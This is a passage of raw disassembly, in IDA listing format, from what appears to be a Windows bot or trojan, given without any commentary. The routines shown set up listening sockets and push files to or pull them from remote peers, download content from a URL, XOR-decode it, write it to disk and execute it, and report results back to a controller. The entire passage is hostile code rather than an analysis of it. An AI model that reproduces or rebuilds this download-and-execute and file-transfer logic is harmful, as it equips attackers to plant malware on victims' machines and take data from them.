		call	dword_441450	; closesocket
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40C9F1:				; CODE XREF: sub_40C8F3+A3j
		push	64h
		nop
		call	near ptr 7C802442h
		xor	edi, edi
		mov	esi, 1000h


loc_40CA00:				; CODE XREF: sub_40C8F3+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		test	eax, eax
		jle	short loc_40CA5D
		lea	eax, [ebp+var_11B4]
		push	offset asc_4285AC ; "\n"
		push	eax
		call	sub_417A10
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B82D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40CA5D
		push	64h
		nop
		call	near ptr 7C802442h
		push	7
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jnz	short loc_40CA00


loc_40CA5D:				; CODE XREF: sub_40C8F3+130j
					; sub_40C8F3+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42D760
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40CA90
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40DC10
		add	esp, 14h


loc_40CA90:				; CODE XREF: sub_40C8F3+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	ebx
		call	dword_441450	; closesocket
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
sub_40C8F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAB4	proc near		; DATA XREF: sub_40F6F1+4CFBo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40CB02
		push	offset dword_42D968
		jmp	loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CAB4+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4413B8	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4413E4	; bind
		test	eax, eax
		jz	short loc_40CB40
		push	offset dword_42D934
		jmp	loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CB40:				; CODE XREF: sub_40CAB4+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_44135C	; getsockname
		push	[ebp+var_2E]
		call	dword_4412F4	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AF0
		pop	ecx


loc_40CB72:				; CODE XREF: sub_40CAB4+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40CB85
		push	5Fh
		pop	eax
		jmp	short loc_40CB88
; ---------------------------------------------------------------------------


loc_40CB85:				; CODE XREF: sub_40CAB4+CAj
		movsx	eax, al


loc_40CB88:				; CODE XREF: sub_40CAB4+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40CB72
		push	ebx
		push	edi
		call	dword_4413E0	; listen
		test	eax, eax
		jz	short loc_40CBBB
		push	offset dword_42D7E4
		jmp	loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CBBB:				; CODE XREF: sub_40CAB4+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40CBE5
		push	offset dword_42D904
		jmp	loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CBE5:				; CODE XREF: sub_40CAB4+125j
		push	esi
		push	eax
		nop
		call	near ptr 7C810A77h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		push	eax
		call	dword_4413B4	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42D8EC
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40DC10
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4413A0	; select
		test	eax, eax
		jg	short loc_40CC95
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42D8C4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40DC10
		jmp	loc_40CDB9
; ---------------------------------------------------------------------------


loc_40CC95:				; CODE XREF: sub_40CAB4+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_44144C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40CCCE
		push	offset dword_42D890


loc_40CCBB:				; CODE XREF: sub_40CAB4+49j
					; sub_40CAB4+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	loc_40CDBC
; ---------------------------------------------------------------------------


loc_40CCCE:				; CODE XREF: sub_40CAB4+200j
		push	edi
		call	dword_441450	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40CD80
		mov	edi, 400h


loc_40CCE3:				; CODE XREF: sub_40CAB4+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40CCF0
		mov	[ebp+var_4], eax


loc_40CCF0:				; CODE XREF: sub_40CAB4+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417430
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 7C810B8Eh
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 7C80180Eh
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_441408	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4413D0	; recv
		cmp	eax, ebx
		jl	loc_40CE15
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40CE15
		sub	[ebp+arg_0], eax
		jnz	loc_40CCE3
		mov	edi, [ebp+var_18]


loc_40CD80:				; CODE XREF: sub_40CAB4+224j
		push	[ebp+var_8]
		nop
		call	near ptr 7C809B47h
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D5BA
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42D840
		push	eax
		call	sub_4173AC


loc_40CDB9:				; CODE XREF: sub_40CAB4+1DCj
		add	esp, 14h


loc_40CDBC:				; CODE XREF: sub_40CAB4+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40CDE1
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40DC10
		add	esp, 14h


loc_40CDE1:				; CODE XREF: sub_40CAB4+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40C4F7
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40CDF9
		push	edi
		call	dword_441450	; closesocket


loc_40CDF9:				; CODE XREF: sub_40CAB4+33Cj
		push	[ebp+var_1F8]
		call	dword_441450	; closesocket
		push	[ebp+var_58]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40CE15:				; CODE XREF: sub_40CAB4+2AFj
					; sub_40CAB4+2BAj
		push	esi
		mov	esi, offset dword_42D818
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40DC10
		push	esi
		call	sub_40C4F7
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_441450	; closesocket
		push	[ebp+var_58]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_40CAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE56	proc near		; DATA XREF: sub_40F6F1+7BAo

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		nop
		call	near ptr 7C814EEAh
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CEE0
		push	offset dword_42DA60
		jmp	short loc_40CF26
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: sub_40CE56+81j
		push	eax
		nop
		call	near ptr 7C809B47h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41823A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40CF08
		push	offset dword_42DA20
		jmp	short loc_40CF26
; ---------------------------------------------------------------------------


loc_40CF08:				; CODE XREF: sub_40CE56+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C86D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40CF39
		push	offset dword_42D9F0


loc_40CF26:				; CODE XREF: sub_40CE56+88j
					; sub_40CE56+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	loc_40D033
; ---------------------------------------------------------------------------


loc_40CF39:				; CODE XREF: sub_40CE56+C9j
		mov	esi, 1000h


loc_40CF3E:				; CODE XREF: sub_40CE56+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4413D0	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40D005
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CFA6
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4188AC
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4413B4	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		jmp	short loc_40CF3E
; ---------------------------------------------------------------------------


loc_40CFA6:				; CODE XREF: sub_40CE56+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42D818
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40DC10
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_4]
		call	sub_4180DC
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_441450	; closesocket
		push	[ebp+var_1C]
		call	sub_417174
		pop	ecx
		push	1
		nop
		call	near ptr 7C80C058h


loc_40D005:				; CODE XREF: sub_40CE56+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D5BA
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42D99C
		push	eax
		call	sub_4173AC
		add	esp, 1Ch


loc_40D033:				; CODE XREF: sub_40CE56+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40D058
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40DC10
		add	esp, 14h


loc_40D058:				; CODE XREF: sub_40CE56+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40C4F7
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40D073
		push	[ebp+var_4]
		call	sub_4180DC
		pop	ecx


loc_40D073:				; CODE XREF: sub_40CE56+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40D081
		push	[ebp+arg_0]
		call	dword_441450	; closesocket


loc_40D081:				; CODE XREF: sub_40CE56+220j
		push	[ebp+var_1C]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_40CE56	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D091	proc near		; DATA XREF: sub_40F6F1+393Fo
					; sub_40F6F1+4062o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_441368
		call	dword_4412C8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40D51D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40D158
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42DCF4
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40D13B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		add	esp, 14h


loc_40D13B:				; CODE XREF: sub_40D091+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_48]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40D158:				; CODE XREF: sub_40D091+68j
		xor	edi, edi
		nop
		call	near ptr 7C80929Ch
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417BEE
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40D172:				; CODE XREF: sub_40D091+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4412D0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40D1B6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D583
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D091+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 7C810D87h
		cmp	edi, ebx
		jnb	short loc_40D1F4
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40D1DE
		mov	eax, [ebp+arg_0]


loc_40D1DE:				; CODE XREF: sub_40D091+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417490
		add	esp, 0Ch


loc_40D1F4:				; CODE XREF: sub_40D091+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40D201
		cmp	edi, [ebp+var_3C]
		ja	short loc_40D24B


loc_40D201:				; CODE XREF: sub_40D091+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40D21B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42DCAC
		jmp	short loc_40D22B
; ---------------------------------------------------------------------------


loc_40D21B:				; CODE XREF: sub_40D091+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42DC6C


loc_40D22B:				; CODE XREF: sub_40D091+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_446C10
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40D172


loc_40D24B:				; CODE XREF: sub_40D091+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40D2A0
		cmp	edi, [ebp+var_3C]
		jz	short loc_40D2A0
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42DC28
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		add	esp, 28h


loc_40D2A0:				; CODE XREF: sub_40D091+1C4j
					; sub_40D091+1C9j
		nop
		call	near ptr 7C80929Ch
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 7C809B47h
		push	[ebp+var_1C]
		call	sub_417C62
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40D32A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C7FB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40D32A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42DBF0
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		add	esp, 28h


loc_40D32A:				; CODE XREF: sub_40D091+241j
					; sub_40D091+253j
		cmp	[ebp+var_14], esi
		jz	loc_40D56A
		cmp	[ebp+var_44], 1
		jz	loc_40D425
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421610
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421610
		fstp	[esp+590h+var_590]
		push	offset unk_42DBA8
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40D3A5
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		add	esp, 14h


loc_40D3A5:				; CODE XREF: sub_40D091+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40D56A
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_44132C	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_40D56A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42DB74
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		add	esp, 24h
		jmp	loc_40D56A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: sub_40D091+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421610
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421610
		fstp	[esp+590h+var_590]
		push	offset unk_42DB24
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40D48D
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		add	esp, 14h


loc_40D48D:				; CODE XREF: sub_40D091+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417430
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417430
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C63C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 7C802367h
		cmp	eax, edi
		jnz	short loc_40D50F
		call	dword_441318	; WSACleanup
		call	sub_40ABB7
		push	esi
		nop
		call	near ptr 7C81CDDAh


loc_40D50F:				; CODE XREF: sub_40D091+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42DADC
		jmp	short loc_40D529
; ---------------------------------------------------------------------------


loc_40D51D:				; CODE XREF: sub_40D091+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42DAA0


loc_40D529:				; CODE XREF: sub_40D091+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40D55D
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40DC10
		add	esp, 14h


loc_40D55D:				; CODE XREF: sub_40D091+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_40D56A:				; CODE XREF: sub_40D091+29Cj
					; sub_40D091+325j ...
		push	[ebp+var_18]
		call	dword_4413EC	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
sub_40D091	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D583	proc near		; CODE XREF: sub_40D091+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40D59F


loc_40D58F:				; CODE XREF: sub_40D583+1Aj
		mov	dl, byte_42ECF8
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40D58F

locret_40D59F:				; CODE XREF: sub_40D583+Aj
		retn
sub_40D583	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5A0	proc near		; CODE XREF: sub_40F6F1+2B56p
					; sub_40F6F1+2CA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_418DAF
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D5A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5BA	proc near		; CODE XREF: sub_4062F7+45Dp
					; sub_4062F7+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_44578C
		push	0
		push	edi
		call	sub_417430
		mov	ebx, [ebp+arg_0]
